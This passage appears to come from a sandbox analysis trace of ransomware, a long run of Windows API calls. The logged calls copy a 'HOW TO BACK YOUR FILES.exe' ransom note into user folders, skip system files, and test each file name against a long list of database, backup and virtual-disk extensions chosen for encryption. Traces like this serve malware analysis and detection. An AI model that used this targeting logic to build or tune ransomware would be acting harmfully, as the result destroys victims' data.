(lpBaseAddress=0x100000) returned 1 [0103.316] CloseHandle (hObject=0x17c) returned 1 [0103.316] CloseHandle (hObject=0x154) returned 1 [0103.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.316] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0103.316] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.317] ReleaseMutex (hMutex=0xec) returned 1 [0103.317] CloseHandle (hObject=0xec) returned 1 [0103.317] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Favorites\\Windows Live" | out: lpString1="C:\\Documents and Settings\\Default\\Favorites\\Windows Live") returned="C:\\Documents and Settings\\Default\\Favorites\\Windows Live" [0103.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5023a8 | out: hHeap=0x4f0000) returned 1 [0103.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ad80 | out: hHeap=0x4f0000) returned 1 [0103.317] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Favorites\\Windows Live") returned 56 [0103.317] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\78B3C3B7FB201ED7B4824211673149FF") returned 0xec [0103.317] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.317] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Favorites\\Windows Live" | out: lpString1="C:\\Documents and Settings\\Default\\Favorites\\Windows Live") returned="C:\\Documents and Settings\\Default\\Favorites\\Windows Live" [0103.317] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.317] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.318] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.318] GetLastError () returned 0x0 [0103.318] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547540 [0103.318] ReadFile (in: hFile=0xf4, lpBuffer=0x547540, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547540*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.319] CloseHandle (hObject=0xf4) returned 1 [0103.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.319] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.319] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.319] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.319] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.319] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.319] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.319] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.319] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.319] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.319] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.319] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0103.319] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.319] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.319] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".") returned 1 [0103.319] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="..") returned 1 [0103.319] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="windows") returned -1 [0103.319] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="bootmgr") returned 1 [0103.319] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="temp") returned -1 [0103.319] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="pagefile.sys") returned -1 [0103.320] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="boot") returned 1 [0103.320] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="ids.txt") returned -1 [0103.320] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="ntuser.dat") returned -1 [0103.320] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="perflogs") returned -1 [0103.320] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="MSBuild") returned -1 [0103.320] lstrlenW (lpString="Get Windows Live.url") returned 20 [0103.320] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Get Windows Live.url" | out: lpString1="Get Windows Live.url") returned="Get Windows Live.url" [0103.320] lstrlenW (lpString="Get Windows Live.url") returned 20 [0103.320] lstrlenW (lpString="Athena865") returned 9 [0103.320] lstrcmpiW (lpString1=" Live.url", lpString2="Athena865") returned -1 [0103.320] lstrlenW (lpString=".dll") returned 4 [0103.320] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".dll") returned 1 [0103.320] lstrlenW (lpString=".lnk") returned 4 [0103.320] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".lnk") returned 1 [0103.320] lstrlenW (lpString=".ini") returned 4 [0103.320] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".ini") returned 1 [0103.320] lstrlenW (lpString=".sys") returned 4 [0103.320] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".sys") returned 1 [0103.320] lstrlenW (lpString="Get Windows Live.url") returned 20 [0103.320] lstrlenW (lpString="bak") returned 3 [0103.320] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0103.320] lstrlenW (lpString="ba_") returned 3 [0103.320] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0103.320] lstrlenW (lpString="dbb") returned 3 [0103.320] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0103.320] lstrlenW (lpString="vmdk") returned 4 [0103.320] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0103.320] lstrlenW (lpString="rar") returned 3 [0103.320] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0103.320] lstrlenW (lpString="zip") returned 3 [0103.320] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0103.321] lstrlenW (lpString="tgz") returned 3 [0103.321] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0103.321] lstrlenW (lpString="vbox") returned 4 [0103.321] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0103.321] lstrlenW (lpString="vdi") returned 3 [0103.321] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0103.321] lstrlenW (lpString="vhd") returned 3 [0103.321] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0103.321] lstrlenW (lpString="vhdx") returned 4 [0103.321] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0103.321] lstrlenW (lpString="avhd") returned 4 [0103.321] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0103.321] lstrlenW (lpString="db") returned 2 [0103.321] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0103.321] lstrlenW (lpString="db2") returned 3 [0103.321] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0103.321] lstrlenW (lpString="db3") returned 3 [0103.321] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0103.321] lstrlenW (lpString="dbf") returned 3 [0103.321] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0103.321] lstrlenW (lpString="mdf") returned 3 [0103.321] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0103.321] lstrlenW (lpString="mdb") returned 3 [0103.321] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0103.321] lstrlenW (lpString="sql") returned 3 [0103.321] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0103.321] lstrlenW (lpString="sqlite") returned 6 [0103.322] lstrcmpiW (lpString1="ve.url", lpString2="sqlite") returned 1 [0103.322] lstrlenW (lpString="sqlite3") returned 7 [0103.322] lstrcmpiW (lpString1="ive.url", lpString2="sqlite3") returned -1 [0103.322] lstrlenW (lpString="sqlitedb") returned 8 [0103.322] lstrcmpiW (lpString1="Live.url", lpString2="sqlitedb") returned -1 [0103.322] lstrlenW (lpString="xml") returned 3 [0103.322] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0103.322] lstrlenW (lpString="$er") returned 3 [0103.322] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0103.322] lstrlenW (lpString="4dd") returned 3 [0103.322] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0103.322] lstrlenW (lpString="4dl") returned 3 [0103.322] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0103.322] lstrlenW (lpString="^^^") returned 3 [0103.322] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0103.322] lstrlenW (lpString="abs") returned 3 [0103.322] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0103.322] lstrlenW (lpString="abx") returned 3 [0103.322] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0103.322] lstrlenW (lpString="accdb") returned 5 [0103.322] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1 [0103.322] lstrlenW (lpString="accdc") returned 5 [0103.322] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1 [0103.322] lstrlenW (lpString="accde") returned 5 [0103.322] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1 [0103.322] lstrlenW (lpString="accdr") returned 5 [0103.322] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1 [0103.322] lstrlenW (lpString="accdt") returned 5 [0103.322] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1 [0103.322] lstrlenW (lpString="accdw") returned 5 [0103.322] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1 [0103.322] lstrlenW (lpString="accft") returned 5 [0103.323] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1 [0103.323] lstrlenW (lpString="adb") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.323] lstrlenW (lpString="adb") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0103.323] lstrlenW (lpString="ade") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0103.323] lstrlenW (lpString="adf") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0103.323] lstrlenW (lpString="adn") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0103.323] lstrlenW (lpString="adp") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0103.323] lstrlenW (lpString="alf") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0103.323] lstrlenW (lpString="ask") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0103.323] lstrlenW (lpString="btr") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0103.323] lstrlenW (lpString="cat") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0103.323] lstrlenW (lpString="cdb") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0103.323] lstrlenW (lpString="ckp") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0103.323] lstrlenW (lpString="cma") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0103.323] lstrlenW (lpString="cpd") returned 3 [0103.323] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0103.323] lstrlenW (lpString="dacpac") returned 6 [0103.323] lstrcmpiW (lpString1="ve.url", lpString2="dacpac") returned 1 [0103.324] lstrlenW (lpString="dad") returned 3 [0103.324] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0103.324] lstrlenW (lpString="dadiagrams") returned 10 [0103.324] lstrcmpiW (lpString1="s Live.url", lpString2="dadiagrams") returned 1 [0103.324] lstrlenW (lpString="daschema") returned 8 [0103.324] lstrcmpiW (lpString1="Live.url", lpString2="daschema") returned 1 [0103.324] lstrlenW (lpString="db-journal") returned 10 [0103.324] lstrcmpiW (lpString1="s Live.url", lpString2="db-journal") returned 1 [0103.324] lstrlenW (lpString="db-shm") returned 6 [0103.324] lstrcmpiW (lpString1="ve.url", lpString2="db-shm") returned 1 [0103.324] lstrlenW (lpString="db-wal") returned 6 [0103.324] lstrcmpiW (lpString1="ve.url", lpString2="db-wal") returned 1 [0103.324] lstrlenW (lpString="dbc") returned 3 [0103.324] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0103.324] lstrlenW (lpString="dbs") returned 3 [0103.324] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0103.324] lstrlenW (lpString="dbt") returned 3 [0103.324] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0103.324] lstrlenW (lpString="dbv") returned 3 [0103.324] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0103.324] lstrlenW (lpString="dbx") returned 3 [0103.324] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0103.324] lstrlenW (lpString="dcb") returned 3 [0103.324] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0103.324] lstrlenW (lpString="dct") returned 3 [0103.324] lstrcmpiW (lpString1="url", lpString2="dct") returned 1 [0103.324] lstrlenW (lpString="dcx") returned 3 [0103.324] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1 [0103.324] lstrlenW (lpString="ddl") returned 3 [0103.324] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1 [0103.324] lstrlenW (lpString="dlis") returned 4 [0103.324] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1 [0103.324] lstrlenW (lpString="dp1") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1 [0103.325] lstrlenW (lpString="dqy") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1 [0103.325] lstrlenW (lpString="dsk") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1 [0103.325] lstrlenW (lpString="dsn") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1 [0103.325] lstrlenW (lpString="dtsx") returned 4 [0103.325] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1 [0103.325] lstrlenW (lpString="dxl") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1 [0103.325] lstrlenW (lpString="eco") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="eco") returned 1 [0103.325] lstrlenW (lpString="ecx") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1 [0103.325] lstrlenW (lpString="edb") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="edb") returned 1 [0103.325] lstrlenW (lpString="epim") returned 4 [0103.325] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1 [0103.325] lstrlenW (lpString="fcd") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1 [0103.325] lstrlenW (lpString="fdb") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1 [0103.325] lstrlenW (lpString="fic") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="fic") returned 1 [0103.325] lstrlenW (lpString="flexolibrary") returned 12 [0103.325] lstrcmpiW (lpString1="ows Live.url", lpString2="flexolibrary") returned 1 [0103.325] lstrlenW (lpString="fm5") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1 [0103.325] lstrlenW (lpString="fmp") returned 3 [0103.325] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1 [0103.325] lstrlenW (lpString="fmp12") returned 5 [0103.325] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1 [0103.326] lstrlenW (lpString="fmpsl") returned 5 [0103.326] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1 [0103.326] lstrlenW (lpString="fol") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="fol") returned 1 [0103.326] lstrlenW (lpString="fp3") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1 [0103.326] lstrlenW (lpString="fp4") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1 [0103.326] lstrlenW (lpString="fp5") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1 [0103.326] lstrlenW (lpString="fp7") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1 [0103.326] lstrlenW (lpString="fpt") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1 [0103.326] lstrlenW (lpString="frm") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="frm") returned 1 [0103.326] lstrlenW (lpString="gdb") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0103.326] lstrlenW (lpString="gdb") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0103.326] lstrlenW (lpString="grdb") returned 4 [0103.326] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1 [0103.326] lstrlenW (lpString="gwi") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1 [0103.326] lstrlenW (lpString="hdb") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1 [0103.326] lstrlenW (lpString="his") returned 3 [0103.326] lstrcmpiW (lpString1="url", lpString2="his") returned 1 [0103.326] lstrlenW (lpString="ib") returned 2 [0103.326] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1 [0103.327] lstrlenW (lpString="idb") returned 3 [0103.327] lstrcmpiW (lpString1="url", lpString2="idb") returned 1 [0103.327] lstrlenW (lpString="ihx") returned 3 [0103.327] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1 [0103.327] lstrlenW (lpString="itdb") returned 4 [0103.327] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1 [0103.327] lstrlenW (lpString="itw") returned 3 [0103.327] lstrcmpiW (lpString1="url", lpString2="itw") returned 1 [0103.327] lstrlenW (lpString="jet") returned 3 [0103.327] lstrcmpiW (lpString1="url", lpString2="jet") returned 1 [0103.327] lstrlenW (lpString="jtx") returned 3 [0103.327] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1 [0103.327] lstrlenW (lpString="kdb") returned 3 [0103.327] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1 [0103.327] lstrlenW (lpString="kexi") returned 4 [0103.327] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1 [0103.327] lstrlenW (lpString="kexic") returned 5 [0103.327] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1 [0103.327] lstrlenW (lpString="kexis") returned 5 [0103.327] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1 [0103.327] lstrlenW (lpString="lgc") returned 3 [0103.327] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1 [0103.327] lstrlenW (lpString="lwx") returned 3 [0103.327] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1 [0103.327] lstrlenW (lpString="maf") returned 3 [0103.327] lstrcmpiW (lpString1="url", lpString2="maf") returned 1 [0103.327] lstrlenW (lpString="maq") returned 3 [0103.327] lstrcmpiW (lpString1="url", lpString2="maq") returned 1 [0103.327] lstrlenW (lpString="mar") returned 3 [0103.327] lstrcmpiW (lpString1="url", lpString2="mar") returned 1 [0103.327] lstrlenW (lpString="marshal") returned 7 [0103.328] lstrcmpiW (lpString1="ive.url", lpString2="marshal") returned -1 [0103.328] lstrlenW (lpString="mas") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="mas") returned 1 [0103.328] lstrlenW (lpString="mav") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="mav") returned 1 [0103.328] lstrlenW (lpString="maw") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="maw") returned 1 [0103.328] lstrlenW (lpString="mdbhtml") returned 7 [0103.328] lstrcmpiW (lpString1="ive.url", lpString2="mdbhtml") returned -1 [0103.328] lstrlenW (lpString="mdn") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1 [0103.328] lstrlenW (lpString="mdt") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1 [0103.328] lstrlenW (lpString="mfd") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1 [0103.328] lstrlenW (lpString="mpd") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1 [0103.328] lstrlenW (lpString="mrg") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1 [0103.328] lstrlenW (lpString="mud") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="mud") returned 1 [0103.328] lstrlenW (lpString="mwb") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1 [0103.328] lstrlenW (lpString="myd") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="myd") returned 1 [0103.328] lstrlenW (lpString="ndf") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1 [0103.328] lstrlenW (lpString="nnt") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1 [0103.328] lstrlenW (lpString="nrmlib") returned 6 [0103.328] lstrcmpiW (lpString1="ve.url", lpString2="nrmlib") returned 1 [0103.328] lstrlenW (lpString="ns2") returned 3 [0103.328] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1 [0103.329] lstrlenW (lpString="ns3") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1 [0103.329] lstrlenW (lpString="ns4") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1 [0103.329] lstrlenW (lpString="nsf") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1 [0103.329] lstrlenW (lpString="nv") returned 2 [0103.329] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1 [0103.329] lstrlenW (lpString="nv2") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1 [0103.329] lstrlenW (lpString="nwdb") returned 4 [0103.329] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1 [0103.329] lstrlenW (lpString="nyf") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1 [0103.329] lstrlenW (lpString="odb") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0103.329] lstrlenW (lpString="odb") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0103.329] lstrlenW (lpString="oqy") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1 [0103.329] lstrlenW (lpString="ora") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="ora") returned 1 [0103.329] lstrlenW (lpString="orx") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="orx") returned 1 [0103.329] lstrlenW (lpString="owc") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="owc") returned 1 [0103.329] lstrlenW (lpString="p96") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="p96") returned 1 [0103.329] lstrlenW (lpString="p97") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="p97") returned 1 [0103.329] lstrlenW (lpString="pan") returned 3 [0103.329] lstrcmpiW (lpString1="url", lpString2="pan") returned 1 [0103.329] lstrlenW (lpString="pdb") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1 [0103.330] lstrlenW (lpString="pdm") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1 [0103.330] lstrlenW (lpString="pnz") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1 [0103.330] lstrlenW (lpString="qry") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="qry") returned 1 [0103.330] lstrlenW (lpString="qvd") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1 [0103.330] lstrlenW (lpString="rbf") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1 [0103.330] lstrlenW (lpString="rctd") returned 4 [0103.330] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1 [0103.330] lstrlenW (lpString="rod") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="rod") returned 1 [0103.330] lstrlenW (lpString="rodx") returned 4 [0103.330] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1 [0103.330] lstrlenW (lpString="rpd") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1 [0103.330] lstrlenW (lpString="rsd") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1 [0103.330] lstrlenW (lpString="sas7bdat") returned 8 [0103.330] lstrcmpiW (lpString1="Live.url", lpString2="sas7bdat") returned -1 [0103.330] lstrlenW (lpString="sbf") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1 [0103.330] lstrlenW (lpString="scx") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="scx") returned 1 [0103.330] lstrlenW (lpString="sdb") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1 [0103.330] lstrlenW (lpString="sdc") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1 [0103.330] lstrlenW (lpString="sdf") returned 3 [0103.330] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1 [0103.331] lstrlenW (lpString="sis") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="sis") returned 1 [0103.331] lstrlenW (lpString="spq") returned 3 [0103.331] lstrcmpiW (lpString1="url", lpString2="spq") returned 1 [0103.331] lstrlenW (lpString="te") returned 2 [0103.331] lstrcmpiW (lpString1="rl", lpString2="te") returned -1 [0103.331] lstrlenW 